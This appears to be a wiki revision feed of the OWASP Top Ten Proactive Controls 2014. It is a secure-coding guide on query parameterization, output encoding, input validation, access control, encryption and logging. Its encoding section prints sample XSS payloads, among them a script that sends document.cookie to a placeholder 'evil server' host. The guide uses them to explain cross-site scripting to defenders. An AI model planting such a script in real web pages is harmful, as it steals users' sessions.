Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the [http://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder%28v=vs.110%29.aspx AntiXssEncoder Class] provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] is a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what [https://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when an exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176683</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176683"/>
				<updated>2014-06-09T16:16:54Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
